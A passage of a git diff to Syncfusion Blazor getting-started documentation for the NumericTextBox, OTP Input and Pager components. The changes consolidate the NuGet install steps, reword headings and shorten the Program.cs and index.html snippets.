+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Numeric TextBox](https://www.syncfusion.com/blazor-components/blazor-numeric-textbox) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +23,6 @@ To get started quickly with the Blazor Numeric TextBox component, refer to this
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-To add the Blazor NumericTextBox component, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion Blazor Inputs and Themes NuGet in the App
-
-- Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-- Ensure in the project root directory where the .csproj file is located.
-- Run the following commands to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Inputs -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Numeric TextBox** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor NumericTextBox component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NumericTextBox component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NumericTextBox component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfNumericTextBox TValue="int?" Value=10></SfNumericTextBox>
 
@@ -203,12 +157,14 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NumericTextBox c
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/LNLzXCKXVVvZqDCS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor NumericTextBox Component](./images/blazor-numerictextbox-component.png)" %}
 
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/NumericTextBox).
+
 ## Range validation
 
 Set the minimum and maximum range of values in the NumericTextBox using the [Min](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SfNumericTextBox-1.html#Syncfusion_Blazor_Inputs_SfNumericTextBox_1_Min) and [Max](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SfNumericTextBox-1.html#Syncfusion_Blazor_Inputs_SfNumericTextBox_1_Max) properties, so the numeric value should be in the min and max range.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfNumericTextBox TValue="int?" Value=5 Max=100 Min=1 Step=5></SfNumericTextBox>
 
@@ -222,7 +178,7 @@ Set the minimum and maximum range of values in the NumericTextBox using the [Min
 Set the display format of the NumericTextBox component using the [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SfNumericTextBox-1.html#Syncfusion_Blazor_Inputs_SfNumericTextBox_1_Format) property. The value is displayed in the specified format when the component is not focused.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfNumericTextBox TValue="int?" Value=10 Format="c2"></SfNumericTextBox>
 
@@ -238,7 +194,7 @@ Restrict the number of decimals to be entered in the NumericTextBox by using the
 If `ValidateDecimalOnType` is false, number of decimals will not be restricted. Else, number of decimals will be restricted while typing in the NumericTextBox.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfNumericTextBox TValue="double?" Value=10 ValidateDecimalOnType=true Decimals=3 Format="n3" Placeholder="ValidateDecimalOnType enabled" FloatLabelType="@FloatLabelType.Auto"></SfNumericTextBox>
 
diff --git a/blazor/otp-input/getting-started.md b/blazor/otp-input/getting-started.md
index 06230ad60c..4b298db33c 100644
--- a/blazor/otp-input/getting-started.md
+++ b/blazor/otp-input/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor OTP Input component
 
-This guide explains how to add the [Blazor OTP Input](https://www.syncfusion.com/blazor-components/blazor-otp-input) component in a Blazor WebAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This guide briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor OTP Input](https://www.syncfusion.com/blazor-components/blazor-otp-input) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,23 +23,6 @@ This guide explains how to add the [Blazor OTP Input](https://www.syncfusion.com
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-To add the **Blazor OTP Input** component in the app, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -52,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -65,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following commands to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Inputs -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor OTP Input** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -173,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor OTP Input component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor OTP Input component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfOtpInput></SfOtpInput>
 
diff --git a/blazor/pager/getting-started.md b/blazor/pager/getting-started.md
index c6fec16e40..76a0ad2c0b 100644
--- a/blazor/pager/getting-started.md
+++ b/blazor/pager/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Pager Component
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pager component enables navigation through large collections by dividing content into multiple pages. This guide explains how to integrate the [Pager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfPager.html) component in a **Blazor WebAssembly** application using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pager](https://www.syncfusion.com/blazor-components/blazor-pager) component enables navigation through large collections by dividing content into multiple pages. This guide explains how to include [Pager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfPager.html) component in a **Blazor WebAssembly App** using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -21,46 +21,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pager component enab
 
 ## Create a new Blazor App in Visual Studio
 
-A **Blazor WebAssembly App** can be created using **Visual Studio** with the built-in [Microsoft templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
-
-1. Open **Visual Studio 2022** (v17.8 or later).
-2. Select **Create a new project**.
-3. Choose **Blazor WebAssembly Standalone App** from the list of templates and click **Next**.
-4. Configure the **project name**, **location**, and **solution settings**, then click **Next**.
-5. Select the **target framework** as **.NET 8.0 or later** (choose the latest installed version available on the system).
-6. Click **Create** to generate the project.
-
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.webp)
-
-N> For detailed steps, refer to [Microsoft Blazor tooling documentation](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-9.0&pivots=vs).
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet Packages
-
-To integrate the Blazor Pager component, install the required NuGet packages in the **Blazor WebAssembly** project:
-
-1. Open **NuGet Package Manager** in Visual Studio:
-
-    *Tools → NuGet Package Manager → Manage NuGet Packages for Solution*.
-
-2. Search and install the following packages:
-
-    - [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/)
-    - [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
-
-3. For projects using **WebAssembly** or **Auto** interactive render modes, ensure these packages are installed in the **Client** project.
-
-4. Alternatively, use the **Package Manager Console**:
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). For a complete list of packages, refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages).
+Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
 {% endtabcontent %}
 
@@ -72,11 +33,9 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 ## Create a new Blazor App in Visual Studio Code
 
-A **Blazor WebAssembly App** can be created using **Visual Studio Code** with the built-in [Microsoft templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project).
+Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-1. Open **Visual Studio Code**.
-2. Open the **integrated terminal** (**Ctrl + `**).
-3. Run the following commands to create a new **Blazor WebAssembly** project:
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -89,30 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-4. Open the **project folder** in **Visual Studio Code**.
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet Packages in Visual Studio Code
-
